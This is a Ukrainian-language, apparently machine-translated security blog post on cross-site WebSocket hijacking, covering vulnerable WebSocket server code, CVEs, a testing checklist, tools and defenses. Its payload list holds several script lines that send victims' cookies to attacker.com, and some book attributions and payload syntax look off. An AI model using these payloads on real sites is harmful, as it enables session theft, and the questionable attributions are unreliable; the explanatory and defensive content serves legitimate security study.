22 Лют, 2023

Міжсайтовий перехоплення веб-сокета (CSWH)

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Міжсайтовий перехоплення веб-сокета (CSWH) це вразливість системи безпеки, яка виникає, коли зловмисник отримує несанкціонований доступ до з'єднання WebSocket, встановленим між клієнтом і сервером. Зловмисник може використовувати цю уразливість для перехоплення і маніпулювання даними, що передаються між клієнтом і сервером, що може поставити під загрозу конфіденційність, цілісність і доступність даних. Цей тип атаки може бути особливо небезпечний, оскільки він може відбутися без відома користувача або сервера, і його може бути важко виявити і запобігти.

Приклад уразливого коду на різних мовах програмування:


в JavaScript Node.js ):

				
					const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', function connection(ws) {
  ws.on('message', function incoming(message) {
    console.log('received: %s', message);
    ws.send('Hello, you sent -> ' + message);
  });
});

				
			


У цьому прикладі сервер WebSocket створюється з використанням ws бібліотека для Node.js . В wss об'єкт прослуховує вхідні з'єднання на порту 8080. Коли з'єднання встановлено, ws об'єкт обробляє вхідні повідомлення і відправляє відповідь. Однак цей код вразливий для CSWH, оскільки він не реалізує жодного захисту від несанкціонованого доступу до з'єднання WebSocket.

• в Python (Торнадо):

				
					import tornado.websocket
import tornado.web

class EchoWebSocket(tornado.websocket.WebSocketHandler):
    def open(self):
        print("WebSocket opened")

    def on_message(self, message):
        print("Received message: %s" % message)
        self.write_message("You said: " + message)

    def on_close(self):
        print("WebSocket closed")

app = tornado.web.Application([
    (r"/websocket", EchoWebSocket),
])

if __name__ == "__main__":
    app.listen(8080)
    tornado.ioloop.IOLoop.current().start()

				
			


У цьому прикладі показано, як створити сервер WebSocket з використанням бібліотеки Tornado для Python. В EchoWebSocket клас визначає обробник WebSocket, який обробляє вхідні повідомлення і відправляє відповідь. Однак він вразливий для CSWH, оскільки не включає ніяких заходів щодо унеможливлення несанкціонованого доступу до з'єднання WebSocket.

• в Java (весняна завантаження):

				
					import org.springframework.stereotype.Component;
import org.springframework.web.socket.WebSocketSession;
import org.springframework.web.socket.handler.TextWebSocketHandler;

@Component
public class MyWebSocketHandler extends TextWebSocketHandler {

    @Override
    public void afterConnectionEstablished(WebSocketSession session) {
        System.out.println("WebSocket connection opened");
    }

    @Override
    protected void handleTextMessage(WebSocketSession session, TextMessage message) throws Exception {
        System.out.println("Received message: " + message.getPayload());
        session.sendMessage(new TextMessage("You said: " + message.getPayload()));
    }
}

				
			


Цей Java-код створює сервер WebSocket з використанням Spring Boot. В MyWebSocketHandler клас обробляє вхідні повідомлення і відправляє відповідь. Однак, як і в попередніх прикладах, він вразливий для CSWH, оскільки не реалізує жодних заходів щодо унеможливлення несанкціонованого доступу до з'єднання WebSocket.

Приклади використання міжсайтового перехоплення веб-сокета

Крадіжка сеансових файлів cookie:

Якщо веб-додаток використовує з'єднання WebSocket для передачі файлів cookie сеансу, зловмисник, який захоплює з'єднання WebSocket, може вкрасти файл cookie сеансу і використовувати його для висунення себе за користувача-жертву. Це може дозволити зловмиснику отримати доступ до облікового запису користувача, переглянути його конфіденційні дані або виконати дії від його імені.

Зміна даних у процесі передачі:

Зловмисник, який перехоплює з'єднання WebSocket, може змінити дані, що передаються між клієнтом і сервером. Наприклад, зловмисник може впровадити шкідливий код на фрейми WebSocket для виконання міжсайтових скриптових атак, впровадити шкідливе ПЗ або фішингові посилання або змінити вміст даних, щоб маніпулювати поведінкою програми.

Атаки типу "відмова в обслуговуванні" (DoS):

Зловмисник, який перехоплює з'єднання з WebSocket, може відправити велику кількість неприпустимих або спотворених кадрів WebSocket на сервер, що призведе до збою або відмови від відповіді. Це може призвести до DoS-атаки, яка не дозволить законним користувачам отримати доступ до сервісу.

Атаки на підробку міжсайтових запитів (CSRF):

Якщо веб-додаток використовує з'єднання WebSocket для передачі конфіденційних даних або виконання дій від імені користувача, зловмисник, який захоплює з'єднання WebSocket, може використовувати його для проведення CSRF-атак. Наприклад, зловмисник може підробляти запити на виконання таких дій, як зміна пароля користувача або переказ грошей з його рахунку.

Методи підвищення привілеїв для міжсайтового перехоплення веб-сокетів

Перехоплення сеансу:

Зловмисник, який успішно перехоплює з'єднання з WebSocket, може вкрасти токен сеансу користувача і використовувати його для уособлення користувача і отримати доступ до його облікового запису з його привілеями. Цей метод особливо ефективний, коли веб-додаток не застосовує тайм-аути сеансу або використовує слабкі токени сеансу, які можна легко передбачити або примусово використовувати.

Обхід аутентифікації:

Зловмисник, який перехоплює з'єднання WebSocket, може змінити дані автентифікації, що передаються між клієнтом і сервером, щоб обійти автентифікації та отримати доступ до привілейованих функцій. Наприклад, зловмисник може змінити кадри WebSocket, щоб видавати себе за користувача з більш високими привілеями або обходити перевірки на наявність ролей або дозволів.

Використання уразливого коду:

CSWH може використовуватися для використання вразливостей в коді програми, які дозволяють зловмиснику виконувати довільний код з підвищеними привілеями. Наприклад, зловмисник може впровадити шкідливий код на фрейми WebSocket, щоб викликати переповнення буфера, впровадження SQL або інші уразливості, які можуть бути використані для отримання доступу до конфіденційних даних або виконання довільного коду.

Використання інших уразливостей:

CSWH може використовуватися в поєднанні з іншими уразливими місцями, такими як міжсайтовий скриптінг (XSS), для підвищення привілеїв і отримання доступу до конфіденційних даних або виконання шкідливих дій з підвищеними привілеями. Наприклад, зловмисник може використовувати CSWH для крадіжки токена сеансу адміністратора через XSS уразливість і використовувати його для отримання адміністративного доступу до додатку.

Загальна методологія та контрольний список для міжсайтового перехоплення веб-сокета

Меродология:

  1. Визначення кінцевих точок веб-сокету: Визначте кінцеві точки WebSocket, використовувані веб-додатком. Зазвичай це можна зробити шляхом перевірки вихідного коду веб-сторінок, пошуку функцій JavaScript, пов'язаних з WebSocket, або за допомогою інструменту аналізу мережевого трафіку для визначення трафіку WebSocket.

  2. Аналіз трафіку веб-сокету: Захоплення трафіку WebSocket за допомогою інструменту аналізу мережевого трафіку, такого як Wireshark або Burp Suite. Проаналізуйте трафік, щоб ідентифікувати повідомлення WebSocket і зрозуміти структуру і зміст повідомлень.

  3. Виявлення потенційних вразливостей: Шукайте уразливості в реалізації WebSocket, які можуть бути використані для CSWH. Це може включати небезпечні механізми автентифікації або авторизації, недостатню перевірку вхідних даних або слабке управління сеансами.

  4. Тест на CSWH: Використовуйте різні методи для перевірки CSWH, такі як відправка перекручених повідомлень WebSocket, спроба перехопити з'єднання WebSocket шляхом підробки повідомлень WebSocket або спроби вкрасти токени сеансу або виконати несанкціоновані дії з використанням зламаних сполук.

  5. Перевірка результатів: Підтвердіть результати тестування, перевіривши, чи були атаки CSWH успішними, і виявивши будь-які позитивні або помилково негативні результати. При виявленні вразливостей повідомте про них відповідним сторонам і працюйте з ними над усуненням проблем.

  6. Повторне тестування: Після усунення неполадок повторно протестуйте реалізацію WebSocket, щоб переконатися, що уразливості були повністю усунені.

Контрольний список:

  1. Визначення кінцевих точок веб-сокету: Визначте кінцеві точки WebSocket, використовувані веб-додатком.

  2. Перевірте підключення до WebSocket: Переконайтеся, що з'єднання з WebSocket може бути встановлено і що зв'язок з WebSocket функціонує належним чином.

  3. Аналіз трафіку веб-сокету: Захоплення трафіку WebSocket за допомогою інструменту аналізу мережевого трафіку, такого як Wireshark або Burp Suite. Проаналізуйте трафік, щоб ідентифікувати повідомлення WebSocket і зрозуміти структуру і зміст повідомлень.

  4. Перевірка на наявність перекручених повідомлень WebSocket: Надсилайте спотворені повідомлення WebSocket, щоб перевірити, як додаток обробляє невірні або несподівані вхідні дані.

  5. Перевірка на порушення протоколу WebSocket: Надсилайте повідомлення WebSocket, які порушують протокол WebSocket, щоб перевірити, як додаток справляється з порушеннями протоколу.

  6. Перевірка на наявність вразливостей для злому: Спроба перехоплення підключень до WebSocket шляхом підробки повідомлень WebSocket або крадіжки токенів сеансу.

  7. Перевірка на наявність вразливостей аутентифікації та авторизації: Протестуйте механізми аутентифікації і авторизації програми, щоб виявити уразливості, які можуть бути використані для CSWH.

  8. Тест на уразливості при впровадженні: Перевірте наявність вразливостей для впровадження, таких як впровадження SQL або міжсайтовий скриптінг (XSS), які можуть бути використані для виконання CSWH-атак.

  9. Перевірка на наявність інших уразливостей: Перевірте наявність інших недоліків, таких як переповнення буфера або уразливості при впровадженні коду, які можуть бути використані для виконання CSWH-атак.

  10. Перевірка результатів: Підтвердіть результати тестування, перевіривши, чи були атаки CSWH успішними, і виявивши будь-які позитивні або помилково негативні результати.

  11. Повторне тестування: Після усунення неполадок повторно протестуйте реалізацію WebSocket, щоб переконатися, що уразливості були повністю усунені.

Набір інструментів для експлуатації Перехоплення міжсайтового веб-сокета

Ручні Інструменти:

  • Burp Suite: Платформа тестування безпеки веб-додатків, яка включає в себе набір інструментів для виконання ручного і автоматичного тестування. Інструмент WebSocket Repeater в Burp Suite можна використовувати для ручного відправки повідомлень WebSocket для перевірки CSWH.

  • Wireshark: Аналізатор мережевих протоколів, який можна використовувати для збору і аналізу трафіку WebSocket для виявлення вразливостей, які можуть бути використані для CSWH.

  • Chrome DevTools: Інструменти розробника, вбудовані у веб-браузер Google Chrome, можна використовувати для ручної перевірки трафіку WebSocket і перевірки на наявність вразливостей, які можуть бути використані для CSWH.

  • Firefox Web Console: Веб-консоль, вбудована в браузер Mozilla Firefox, може використовуватися для ручної перевірки трафіку WebSocket і перевірки на наявність вразливостей, які можуть бути використані для CSWH.

  • Charles Proxy: Проксі-сервер веб-налагодження, який можна використовувати для перехоплення і аналізу трафіку WebSocket для виявлення вразливостей, які можуть бути використані для CSWH.

  • OWASP ZAP: Платформа тестування безпеки веб-додатків з відкритим вихідним кодом, що включає в себе набір інструментів для виконання ручного і автоматичного тестування. Функціональність тестування WebSocket в ZAP можна використовувати для перевірки вразливостей, які можуть бути використані для CSWH.

  • Fiddler: Проксі-сервер веб-налагодження, який можна використовувати для перехоплення і аналізу трафіку WebSocket для виявлення вразливостей, які можуть бути використані для CSWH.

  • Netcat: Проста утиліта для читання і запису даних через мережеві підключення. Netcat можна використовувати для ручного відправки повідомлень WebSocket для перевірки CSWH.

Автоматизовані інструменти:

  • Wstest: Інструмент командного рядка для тестування реалізацій WebSocket, який підтримує безліч сценаріїв тестування WebSocket, включаючи тестування вразливостей, які можуть бути використані для CSWH.

  • SockJS-Client: Бібліотека JavaScript для створення клієнтів WebSocket, яку можна використовувати для автоматизації тестування вразливостей CSWH.

  • WSFuzzer: Скрипт на Python, який можна використовувати для виконання автоматичного тестування вразливостей WebSocket, включаючи уразливості, які можуть бути використані для CSWH.

  • WS-Attacker: Інструмент для тестування безпеки WebSocket, який включає в себе набір модулів атаки для тестування вразливостей, які можуть бути використані для CSWH.

  • TestWebSocket.org: Веб-інструмент тестування, який можна використовувати для автоматичного тестування вразливостей WebSocket, включаючи уразливості, які можуть бути використані для CSWH.

  • WebSockets Load Tester: Інструмент навантажувального тестування для додатків WebSocket, який можна використовувати для перевірки вразливостей, які можуть бути використані для CSWH в умовах інтенсивного трафіку.

  • Gauntlt: Платформа тестування безпеки з відкритим вихідним кодом, що включає в себе набір інструментів для виконання автоматичного тестування. Функціональність тестування WebSocket в Gauntlt можна використовувати для перевірки вразливостей, які можуть бути використані для CSWH.

  • Ws-Security Testing Tool: Веб-інструмент тестування, який можна використовувати для тестування реалізацій WebSocket на наявність вразливостей, які можуть бути використані для CSWH.

  • Rapid7 Metasploit: Платформа тестування на проникнення з відкритим вихідним кодом, що включає в себе набір інструментів для виконання автоматичного тестування. Модулі тестування WebSocket в Metasploit можна використовувати для перевірки вразливостей, які можуть бути використані для CSWH.

  • ws-safety: Веб-інструмент тестування, який можна використовувати для автоматичного тестування вразливостей WebSocket, включаючи уразливості, які можуть бути використані для CSWH.

  • Websocket-ехо: Тестовий сервер WebSocket, який можна використовувати для тестування клієнтів WebSocket на наявність вразливостей, які можуть бути використані для CSWH.

  • Zap-WebSocket: Надбудова для платформи тестування OWASP ZAP, яка включає в себе функціональність тестування, специфічну для WebSocket, для тестування реалізацій WebSocket на наявність вразливостей, які можуть бути використані для CSWH.

Середній бал CVSS перехоплення міжсайтового веб-сокета стека

Загальна система оцінки вразливостей (CVSS) - це платформа для оцінки серйозності вразливостей в системі безпеки. Оцінка CVSS являє собою числове значення в діапазоні від 0,0 до 10,0, причому більш високі оцінки вказують на більш серйозні уразливості.

Оцінка CVSS для вразливостей, пов'язаних з межсайтовым перехопленням веб-сокетів (CSWH), може сильно відрізнятися в залежності від конкретної уразливості і її впливу. Проте в цілому уразливості, пов'язані з CSWH, як правило, мають рейтинг від помірної до високої ступеня серйозності.

Наприклад, уразливість, що дозволяє зловмисникові вкрасти дані користувача через скомпрометоване з'єднання WebSocket, може мати оцінку CVSS від 7,5 до 8,0, що вказує на високий рівень серйозності. Однак уразливість, що дозволяє зловмисникові використовувати скомпрометоване з'єднання WebSocket для виконання менш важливих дій, таких як відправка спам-повідомлень, може мати більш низький показник CVSS, можливо, в діапазоні від 4,0 до 5,0.

Загальна перерахування слабких місць (CWE)

• CWE-352: Підробка міжсайтових запитів (CSRF): CSRF може використовуватися для використання сполук WebSocket, що дозволяє зловмиснику виконувати дії від імені аутентифицированного користувача.

• CWE-601: перенаправлення URL-адреси на ненадійний сайт ("Відкрите перенаправлення"): вразливість з відкритим перенаправленням може використовуватися для перенаправлення користувача на шкідливе з'єднання WebSocket, дозволяючи зловмиснику використовувати це з'єднання.

• CWE-602: забезпечення безпеки на стороні клієнта на стороні сервера: забезпечення безпеки WebSocket на стороні клієнта може бути легко обійти зловмисником, що дозволяє йому перехопити з'єднання з WebSocket.

• CWE-611: Неправильне обмеження посилання на зовнішню сутність XML: зловмисник може використовувати уразливість в реалізації WebSocket для виконання довільного коду на сервері.

• CWE-614: конфіденційний файл cookie сеансу HTTPS без атрибуту 'Secure': вразливість, яка дозволяє передавати конфіденційні файли cookie за незашифрованим з'єднанням WebSocket, може бути використана зловмисниками для крадіжки даних.

• CWE-643: Неправильна нейтралізація даних виразів XPath ("Впровадження XPath): уразливість, що дозволяє зловмисникові вводити шкідливі виразу XPath в повідомлення WebSocket, може бути використана для використання з'єднання з WebSocket.

• CWE-646: Залежність від імені файлу або розширення ненадійних даних: зловмисник може використовувати підключення до WebSocket, щоб обдурити сервер і змусити його обслуговувати шкідливі файли або дані.

• CWE-661: Слабкий механізм відновлення пароля для забутих паролів: Слабкі механізми відновлення пароля можуть бути використані зловмисником для отримання доступу до сполук WebSocket.

• CWE-863: Неправильна авторизація: уразливість в реалізації WebSocket може дозволити зловмиснику обійти перевірки авторизації і отримати несанкціонований доступ до з'єднання WebSocket.

• CWE-918: Підробка запитів на стороні сервера (SSRF): SSRF може використовуватися для використання сполук WebSocket шляхом обману сервера при надсилання запитів до неавторизованим хостам або служб.

CVE, пов'язані з межсайтовым захопленням веб-сокета

• CVE-2021-37840 – aaPanel через 6.8.12 дозволяє міжсайтовий перехоплення веб-сокетів (CSWH), що включає команди ОС в повідомленнях WebSocket за адресою ws:// URL для /webssh (жертва повинна мати налаштований термінал хоча б з одним хостом). Успішне використання залежить від браузера, використовуваного потенційною жертвою (наприклад, використання може відбуватися з Firefox, але не з Chrome).

• CVE-2021-21588 – Dell, EMC PowerFlex версії v3.5.x містить уразливість міжсайтового перехоплення веб-сокета сервера презентацій / WebUI. Зловмисник, який не пройшов перевірку автентичності, потенційно може скористатися цією уразливістю, обманом змусивши користувача виконати небажані дії на сервері презентацій і виконати, що може призвести до змін конфігурації.

• CVE-2021-1403 – Уразливість в функції веб-інтерфейсу програмного забезпечення Cisco IOS XE може дозволити віддаленого зловмиснику, який не пройшов перевірку автентичності, провести межсайтовую атаку з захопленням веб-сокета (CSWSH) і викликати відмову в обслуговуванні (DoS) на вразливому пристрої. Ця вразливість, пов'язана з недостатнім захистом HTTP у веб-інтерфейсі на вразливому пристрої. Зловмисник може скористатися цією уразливістю, переконавши аутентифицированного користувача веб-інтерфейсу перейти створеної за посиланням. Успішний експлойт може дозволити зловмиснику пошкодити пам'ять на вразливому пристрої, що призведе до його перезавантаження і викличе стан DoS.

• CVE-2020-25095 – LogRhythm Platform Manager (PM) 7.4.9 дозволяє CSRF. Веб-інтерфейс вразливий для міжсайтового перехоплення WebSocket (CSWH). Якщо зареєстрований користувач PM відвідує шкідливий сайт у тому ж сеансі браузера, цей сайт може виконати CSRF-атаку для створення веб-сокета від клієнта жертви до уразливого сервера PM. Як тільки сокет створений, шкідливий сайт може взаємодіяти з вразливим веб-сервером в контексті увійшов в систему користувача. Це може включати корисні навантаження WebSocket, які приводять до виконання команди.

• CVE-2020-14368 – В Eclipse Che у версіях 7.14.0 був виявлений недолік, який впливає на робочі області CodeReady. При налаштуванні аутентифікації з використанням файлів cookie середовище IDE не встановлює належним чином значення SameSite, що дозволяє підробляти межсайтовые запити (CSRF) і, отже, дозволяє перехоплювати межсайтовые веб-сокети в середовищі IDE. Цей недолік дозволяє зловмиснику отримати повний доступ до робочого простору жертви через кінцеву точку /services. Щоб виконати успішну атаку, зловмисник проводить атаку "Людина посередині" (MITM) і обманом змушує жертву виконати запит за ненадійною посиланню, яка виконує CSRF і перехоплення сокета. Найбільша загроза, що виходить від цієї уразливості, пов'язана з конфіденційністю, цілісністю, а також доступністю системи.

• CVE-2019-17654 – Вразливість з недостатньою перевіркою достовірності даних у FortiManager 6.2.1, 6.2.0, 6.0.6 і нижче може дозволити зловмиснику, який не пройшов перевірку автентичності, виконати межсайтовую атаку з захопленням веб-сокета (CSWSH).

• CVE-2019-13611 – Проблема була виявлена в python-engineerio через 3.8.2. Існує вразливість міжсайтового перехоплення веб-сокетів (CSWSH), яка дозволяє зловмисникам встановлювати веб-з'єднання з сервером, використовуючи облікові дані жертви, оскільки вихідний заголовок не обмежений.

• CVE-2019-13209 – Rancher з 2 по 2.2.4 вразливий для межсайтовой атаки з захопленням веб-сокета, яка дозволяє зловмиснику отримати доступ до кластерів, керованим Rancher. Для атаки потрібно, щоб жертва увійшла на сервер Rancher, а потім отримала доступ до стороннього сайту, розміщеного зловмисником. Як тільки це буде виконано, зловмисник зможе виконувати команди для Kubernetes API кластера з дозволами і ідентифікатором жертви.

• CVE-2015-0259 – OpenStack Compute (Nova) до 2014.1.4, 2014.2.x до 2014.2.3 і kilo до kilo-3 не перевіряє походження запитів websocket, що дозволяє віддаленим зловмисникам перехоплювати аутентифікацію користувачів для доступу до консолям через створену веб-сторінку.

Перехоплення міжсайтового веб-сокета подвиги

  • Крадіжка даних: Зловмисник може використовувати підключення до WebSocket для крадіжки даних, таких як імена користувачів, паролі або конфіденційна інформація.

  • Маніпулювання даними: Зловмисник може змінювати повідомлення WebSocket для маніпулювання даними, наприклад, змінювати ціни або кількість в онлайн-вашому кошику для покупок.

  • Віддалене виконання коду (RCE): Зловмисник може скористатися уразливістю в реалізації WebSocket для виконання довільного коду на сервері.

  • CSRF атаки: Зловмисник може використовувати підключення до WebSocket для виконання дій від імені пройшов перевірку користувача, таких як вчинення несанкціонованих покупок або зміна параметрів облікового запису.

  • DDoS-атаки: Зловмисник може використовувати скомпрометоване з'єднання WebSocket для запуску розподілених атак типу "Відмова в обслуговуванні" (DDoS) проти цільового сервера або мережі.

  • Розсилка спаму: Зловмисник може використовувати підключення до WebSocket для розсилки користувачам спам-повідомлень, потенційно поширюючи шкідливе ПЗ або фішингові посилання.

  • Доставка шкідливих програм: Зловмисник може використовувати підключення до WebSocket для доставки шкідливого ПО на клієнтські пристрої, що може поставити під загрозу їхню безпеку.

  • Підробка даних: Зловмисник може змінювати повідомлення WebSocket, щоб змінювати передавані дані, що може призвести до системних помилок або вразливостей.

  • Відстеження користувачів: Зловмисник може використовувати скомпрометоване підключення до WebSocket для відстеження активності користувачів, потенційно порушуючи їх конфіденційність.

  • Поглинання системи: Зловмисник може скористатися уразливістю WebSocket для отримання несанкціонованого доступу до сервера або мережі, потенційно захопивши всю систему.

Практикуючись в тестуванні на Перехоплення міжсайтового веб-сокета

  1. Створення вразливою середовища: Ви можете створити вразливе веб-додаток, що використовує підключення до WebSocket, або знайти існуюче вразливе додаток для тестування.

  2. Визначення потенційних векторів атак: перегляньте код і конфігурацію програми, щоб визначити потенційні вектори атак для CSWH, такі як перевірка повідомлень WebSocket, аутентифікація користувачів і керування сеансами.

  3. Виберіть методику тестування: виберіть методику тестування для CSWH, таку як ручне тестування, автоматичне сканування або поєднання того й іншого.

  4. Виконайте ручне тестування: використовуйте комбінацію ручних методів, таких як відправка спеціально створених повідомлень WebSocket, перехоплення трафіку WebSocket з допомогою проксі-сервера і перегляд журналів додатків на предмет ознак атак CSWH.

  5. Використовуйте інструменти: Ви можете використовувати автоматичні сканери вразливостей і інструменти тестування, які можуть виявити загальні уразливості і слабкі місця, пов'язані з CSWH.

  6. Перевірте на наявність інших пов'язаних вразливостей: Підробка міжсайтових запитів (CSRF), міжсайтовий скриптінг (XSS) та інші пов'язані проблеми також можуть впливати на з'єднання з WebSocket, тому важливо також протестувати їх.

  7. Документуйте і повідомляйте про уразливості: реєструйте будь вразливості або слабкі місця, виявлені під час тестування, і повідомляйте про них відповідним сторонам для усунення.

Деякі ресурси для практичного тестування на CSWH включають:

• Керівництво по тестуванню OWASP: Проект Open Web Application Security Project (OWASP) надає повне керівництво з тестування веб-додатків, включаючи тестування вразливостей WebSocket.

• Burp Suite: Burp Suite - це популярний інструмент тестування веб-додатків, який включає підтримку тестування і перехоплення веб-сокетів.

• ZAP: ZAP - це інструмент тестування веб-додатків з відкритим вихідним кодом, який включає підтримку тестування і сканування WebSocket.

• HackTheBox: HackTheBox - це платформа, яка надає вразливі віртуальні машини для тестування на проникнення, включаючи веб-додатки з уразливими WebSocket.

Для вивчення міжсайтового перехоплення веб-сокетів

Шпаргалка з безпеки OWASP WebSocket: Ця шпаргалка містить огляд поширених проблем безпеки WebSocket та методів їх усунення.

RFC 6455: Протокол WebSocket: Це офіційна специфікація протоколу WebSocket, яка надає інформацію про те, як працюють з'єднання WebSocket.

Академія веб-безпеки Portswigger's: Ця безкоштовна навчальна онлайн-платформа включає розділ з безпеки WebSocket, в якому розглядаються поширені уразливості і методи тестування.

Практичне використання веб-сокетів: Це дослідна робота дослідника безпеки Гарета Хейеса, в якій докладно розглядаються проблеми безпеки WebSocket та методи їх використання.

Хактбокс: Як згадувалося раніше, HackTheBox надає вразливі віртуальні машини для тестування на проникнення, включаючи веб-додатки з уразливими WebSocket.

Платформи винагороди за помилки: Такі платформи, як HackerOne і Bugcrowd, часто мають веб-додатки з уразливими WebSocket, які можна виявити і повідомити про них за винагороду.

Книги з веб-безпеки: Існує безліч книг з веб-безпеки, в яких розглядаються уразливості веб-сокетів та методи їх використання, такі як "Керівництво хакера веб-додатків" Девіда Штуттарда і Маркуса Пінто і "Black Hat Python" Джастіна Сейтца.

Конференції з питань безпеки: Відвідування конференцій з безпеки, таких як DEF CON і Black Hat, може дати цінну інформацію про уразливість WebSocket та методи їх використання, а також про можливості спілкування з іншими фахівцями з безпеки.

Онлайн-курси: Такі платформи, як Udemy, Coursera і edX, пропонують онлайн-курси з веб-безпеки і тестування на проникнення, які охоплюють уразливості WebSocket та методи експлуатації.

Книги з оглядом міжсайтового злому веб-сокета

"Заплутана мережа: керівництво по забезпеченню безпеки сучасних веб-додатків" Михайло Залевський – Ця книга являє собою всеосяжне керівництво з безпеки веб-додатків, включаючи докладне обговорення вразливостей WebSocket і способів їх захисту.

"Websockets для розробників PHP" Джон Р. Хіти – Ця книга являє собою введення в використання WebSockets з PHP, включаючи обговорення міркувань безпеки і потенційних вразливостей.

"Керівництво хакера веб-додатків: пошук і використання недоліків безпеки" Дэфидд Штуттард і Маркус Пінто – Ця книга являє собою всеосяжне керівництво з безпеки веб-додатків, включаючи обговорення вразливостей WebSocket і методів їх використання.

"Пошук помилок в реальному світі: практичне керівництво по веб-хакінгу" Пітер Яворські – Ця книга являє собою практичне керівництво по тестуванню безпеки веб-додатків, включаючи обговорення вразливостей WebSocket.

"Атаки з використанням міжсайтових сценаріїв: експлойти XSS і захист" Сет Фоги, Єремія Гроссман і Роберт Хансен – Хоча ця книга присвячена вразливостей міжсайтового скриптинга (XSS), вона включає в себе обговорення безпеки WebSocket і того, як її можна використовувати.

"Хакерство: мистецтво експлуатації" автор: Джон Еріксон – Ця книга являє собою всеосяжне керівництво по методах злому, включаючи обговорення вразливостей WebSocket і методів використання.

"Black Hat Python: програмування на Python для хакерів і пентестеров" автор: Джастін Зейтц – Ця книга являє собою керівництво по використанню Python для злому і тестування на проникнення, включаючи обговорення вразливостей WebSocket і методів експлуатації.

"Практичне тестування на проникнення в Мережу за допомогою Metasploit" автор: Суніл Гупта – Ця книга являє собою практичне керівництво з тестування веб-додатків на проникнення з використанням платформи Metasploit, включаючи обговорення вразливостей WebSocket.

"Освоєння WebSocket" автор: Ендрю Ломбарді – Ця книга являє собою докладне керівництво по використанню WebSockets для обміну даними в режимі реального часу в веб-додатках, включаючи обговорення міркувань безпеки і вразливостей.

"Професійне тестування на проникнення: створення і функціонування офіційної хакерської лабораторії" автор: Томас Вільгельм – Ця книга являє собою керівництво по створенню і експлуатації лабораторії тестування на проникнення, включаючи обговорення вразливостей WebSocket і способів їх тестування.

Список корисних навантажень Перехоплення міжсайтового веб-сокета

  • <script>document.location="http://attacker.com/steal?data="+document.cookie;</script> Ця корисна навантаження перенаправляє браузер жертви на сервер зловмисника і відправляє файли cookie жертви в якості параметра в URL-адресі.

  • <script>var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://attacker.com/steal?data='+document.cookie, true); xhr.send();</script> Ця корисна навантаження відправляє файли cookie жертви на сервер зловмисника за допомогою запиту XMLHttpRequest.

  • <script>window.name = document.cookie;</script> Ця корисна навантаження зберігає файли cookie жертви window.name властивість і дозволяє зловмиснику отримати до них доступ з іншого домену, використовуючи window.name техніка.

  • <script>var ws = new WebSocket('ws://attacker.com'); ws.onopen = function() { ws.send(document.cookie); }</script> Ця корисна навантаження відправляє файли cookie жертви на сервер зловмисника, використовуючи з'єднання WebSocket.

  • <img src="https://attacker.com/steal?data="+document.cookie> Ця корисна навантаження відправляє файли cookie жертви на сервер зловмисника шляхом вбудовування тега зображення на сторінку.

  • <iframe src="https://attacker.com/steal?data="+document.cookie></iframe> Ця корисна навантаження відправляє файли cookie жертви на сервер зловмисника шляхом вбудовування iframe в сторінку.

Як захиститися від міжсайтового злому веб-сокета

  1. Переконайтеся, що ваш веб-додаток використовує останню версію протоколу WebSocket, який включає вбудовані заходи захисту від міжсайтових атак з використанням веб-сокетів.

  2. Використовуйте HTTPS для всіх підключень до WebSocket, щоб запобігти підслуховування і атаки "людина посередині".

  3. Вбудуйте належне управління сеансами для запобігання несанкціонованого доступу до даних сеансу.

  4. Використовуйте надійні і унікальні ідентифікатори сеансів, які неможливо легко вгадати або використовувати методом перебору.

  5. Вбудуйте належну перевірку вхідних даних і очищення, щоб запобігти ін'єкційні атаки.

  6. Використайте заголовок Політики безпеки вмісту (CSP), щоб обмежити джерела виконуваного коду і запобігти впровадження коду.

  7. Вбудуйте належні політики спільного використання ресурсів з різних джерел (CORS), щоб обмежити доступ до ресурсів WebSocket.

  8. Розгляньте можливість використання брандмауера веб-додатків (WAF), який може виявляти і блокувати межсайтовые атаки з перехопленням веб-сокетів.

  9. Використовуйте прапор захищеності при налаштуванні файлів cookie, щоб гарантувати, що вони передаються тільки по HTTPS-з'єднання.

  10. Регулярно перевіряйте свій веб-додаток на наявність вразливостей і застосовуйте виправлення безпеки, як тільки вони стануть доступні.

Заходи щодо запобігання міжсайтового перехоплення веб-сокетів

  1. Вбудуйте механізми захисту від підробки міжсайтових запитів CSRF (Cross-Site Request Forgery), такі як використання токенів CSRF, для запобігання відправки несанкціонованих запитів з браузера користувача.

  2. Використовуйте атрибут SameSite для файлів cookie, який забороняє браузеру відправляти файли cookie в міжсайтових запитів.

  3. Застосовуйте правильну перевірку вхідних даних і кодування вихідних даних до всіх наданих користувачем даними, щоб запобігти атаки з використанням ін'єкцій.

  4. Використовуйте HTTPS для всіх підключень до WebSocket, щоб запобігти підслуховування і атаки "людина посередині".

  5. Використайте заголовок Політики безпеки вмісту (CSP), щоб обмежити джерела виконуваного коду і запобігти впровадження коду.

  6. Вбудуйте належні політики спільного використання ресурсів з різних джерел (CORS), щоб обмежити доступ до ресурсів WebSocket.

  7. Використовуйте прапор захищеності при налаштуванні файлів cookie, щоб гарантувати, що вони передаються тільки по HTTPS-з'єднання.

  8. Розгляньте можливість впровадження обмеження швидкості, щоб зловмисники не могли використовувати уразливості, відправляючи велику кількість запитів.

  9. Розгляньте можливість використання брандмауера веб-додатків (WAF), який може виявляти і блокувати межсайтовые атаки з перехопленням веб-сокетів.

  10. Регулярно перевіряйте свій веб-додаток на наявність вразливостей і застосовуйте виправлення безпеки, як тільки вони стануть доступні.

Висновок

Міжсайтовий перехоплення веб-сокета (CSWH) це тип атаки, націленої на веб-додатків, що використовують протокол WebSocket. Ця атака може дозволити зловмиснику отримати несанкціонований доступ до даних сеансу користувача і виконати довільний код в браузері користувача.

Для запобігання CSWH-атак важливо реалізувати комбінацію заходів безпеки, таких як належне управління сеансами, перевірка і очищення вхідних даних, політики спільного використання ресурсів (CORS), заголовки політики безпеки контенту (CSP) і HTTPS-з'єднання для обміну даними через WebSocket. Крім того, запровадження механізмів захисту CSRF і використання атрибуту SameSite для файлів cookie також може допомогти знизити ризик атак.

Хоча існують як ручні, так і автоматичні інструменти для тестування і використання вразливостей CSWH, важливо практикувати відповідальне розкриття інформації при повідомленні про уразливість і тісно співпрацювати з розробниками для впровадження необхідних виправлень.

Інші Послуги

Готові до безпеки?

зв'язатися з нами